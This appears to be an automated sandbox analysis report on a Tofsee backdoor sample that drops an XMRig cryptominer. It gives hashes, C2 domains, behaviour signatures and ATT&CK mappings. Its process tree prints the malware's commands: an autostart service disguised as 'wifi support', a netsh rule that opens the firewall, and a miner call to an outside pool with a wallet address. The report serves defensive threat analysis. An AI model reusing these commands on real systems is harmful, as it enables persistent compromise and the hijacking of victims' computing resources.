Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-05-2023 19:16

General

  • Target

    file.exe

  • Size

    234KB

  • MD5

    f8df432779abcda0e118d44dc6dde5c7

  • SHA1

    2574314f96737d4a909246b06f6d0904b1b0e6f6

  • SHA256

    668a73171bcfb225ce6748ef6108fa8bf9b02befb5ba5f392cdcff67926d78a2

  • SHA512

    43974649ae90e164b8a17288c8c8b249dcdbac0a0c4fc9cdac70edbea455f880be7642e03c33e882e3a0bfaeccca46636398a604867451be52e059fc5fb1e75f

  • SSDEEP

    3072:5fPQrqA+LychM1+ziXtcsM/RHbyp+EpsVNg0cqF2Oq5pqIyYnAZ81MZ:mE1MOYcb/jxBUOqptZnAa1MZ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2564
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pyremrnj\
      2⤵
        PID:4232
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kzrydbgy.exe" C:\Windows\SysWOW64\pyremrnj\
        2⤵
          PID:4984
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pyremrnj binPath= "C:\Windows\SysWOW64\pyremrnj\kzrydbgy.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pyremrnj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3608
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pyremrnj
          2⤵
          • Launches sc.exe
          PID:1504
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3928
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2564 -s 1044
          2⤵
          • Program crash
          PID:1136
      • C:\Windows\SysWOW64\pyremrnj\kzrydbgy.exe
        C:\Windows\SysWOW64\pyremrnj\kzrydbgy.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3920
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2248
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3936
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3920 -s 564
          2⤵
          • Program crash
          PID:2692
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 2564 -ip 2564
        1⤵
          PID:1652
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3920 -ip 3920
          1⤵
            PID:3660

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\kzrydbgy.exe
            Filesize

            11.4MB

            MD5

            9f871801f0e34c83371de9e28ea6cb8b

            SHA1

            98eef7cc3a0354b6dcb415a56dd3ece631d8f8d4

            SHA256

            57d8286c492e3a4230b45c95079d252258f0de52f4c7819cae6d707aab44ea48

            SHA512

            3444c3af0df83953fa47c4c9a69e21f4242ade34f6b04afec5e0a8ebc0bffedf5965d939aa669f26a5786d085c0f4144fe48493d0133fbd0c83b800be033da3b

          • C:\Windows\SysWOW64\pyremrnj\kzrydbgy.exe
            Filesize

            11.4MB

            MD5

            9f871801f0e34c83371de9e28ea6cb8b

            SHA1

            98eef7cc3a0354b6dcb415a56dd3ece631d8f8d4

            SHA256

            57d8286c492e3a4230b45c95079d252258f0de52f4c7819cae6d707aab44ea48

            SHA512

            3444c3af0df83953fa47c4c9a69e21f4242ade34f6b04afec5e0a8ebc0bffedf5965d939aa669f26a5786d085c0f4144fe48493d0133fbd0c83b800be033da3b

          • memory/2248-165-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-148-0x00000000009A0000-0x00000000009B5000-memory.dmp
            Filesize

            84KB

          • memory/2248-163-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-143-0x00000000009A0000-0x00000000009B5000-memory.dmp
            Filesize

            84KB

          • memory/2248-144-0x00000000009A0000-0x00000000009B5000-memory.dmp
            Filesize

            84KB

          • memory/2248-184-0x0000000002DD0000-0x0000000002DD7000-memory.dmp
            Filesize

            28KB

          • memory/2248-146-0x00000000009A0000-0x00000000009B5000-memory.dmp
            Filesize

            84KB

          • memory/2248-164-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-149-0x0000000002800000-0x0000000002A0F000-memory.dmp
            Filesize

            2.1MB

          • memory/2248-152-0x0000000002800000-0x0000000002A0F000-memory.dmp
            Filesize

            2.1MB

          • memory/2248-153-0x0000000001F10000-0x0000000001F16000-memory.dmp
            Filesize

            24KB

          • memory/2248-156-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-183-0x0000000007740000-0x0000000007B4B000-memory.dmp
            Filesize

            4.0MB

          • memory/2248-159-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-160-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-162-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-169-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-168-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-167-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-166-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-161-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-180-0x0000000007740000-0x0000000007B4B000-memory.dmp
            Filesize

            4.0MB

          • memory/2248-140-0x00000000009A0000-0x00000000009B5000-memory.dmp
            Filesize

            84KB

          • memory/2248-170-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-171-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-172-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-173-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-174-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-175-0x0000000001F20000-0x0000000001F30000-memory.dmp
            Filesize

            64KB

          • memory/2248-176-0x0000000001FF0000-0x0000000001FF5000-memory.dmp
            Filesize

            20KB

          • memory/2248-179-0x0000000001FF0000-0x0000000001FF5000-memory.dmp
            Filesize

            20KB

          • memory/2564-138-0x0000000000400000-0x00000000006B8000-memory.dmp
            Filesize

            2.7MB

          • memory/2564-135-0x0000000000920000-0x0000000000933000-memory.dmp
            Filesize

            76KB

          • memory/3920-145-0x0000000000400000-0x00000000006B8000-memory.dmp
            Filesize

            2.7MB

          • memory/3936-188-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/3936-193-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/3936-194-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/3936-195-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/3936-196-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/3936-197-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/3936-199-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/3936-198-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB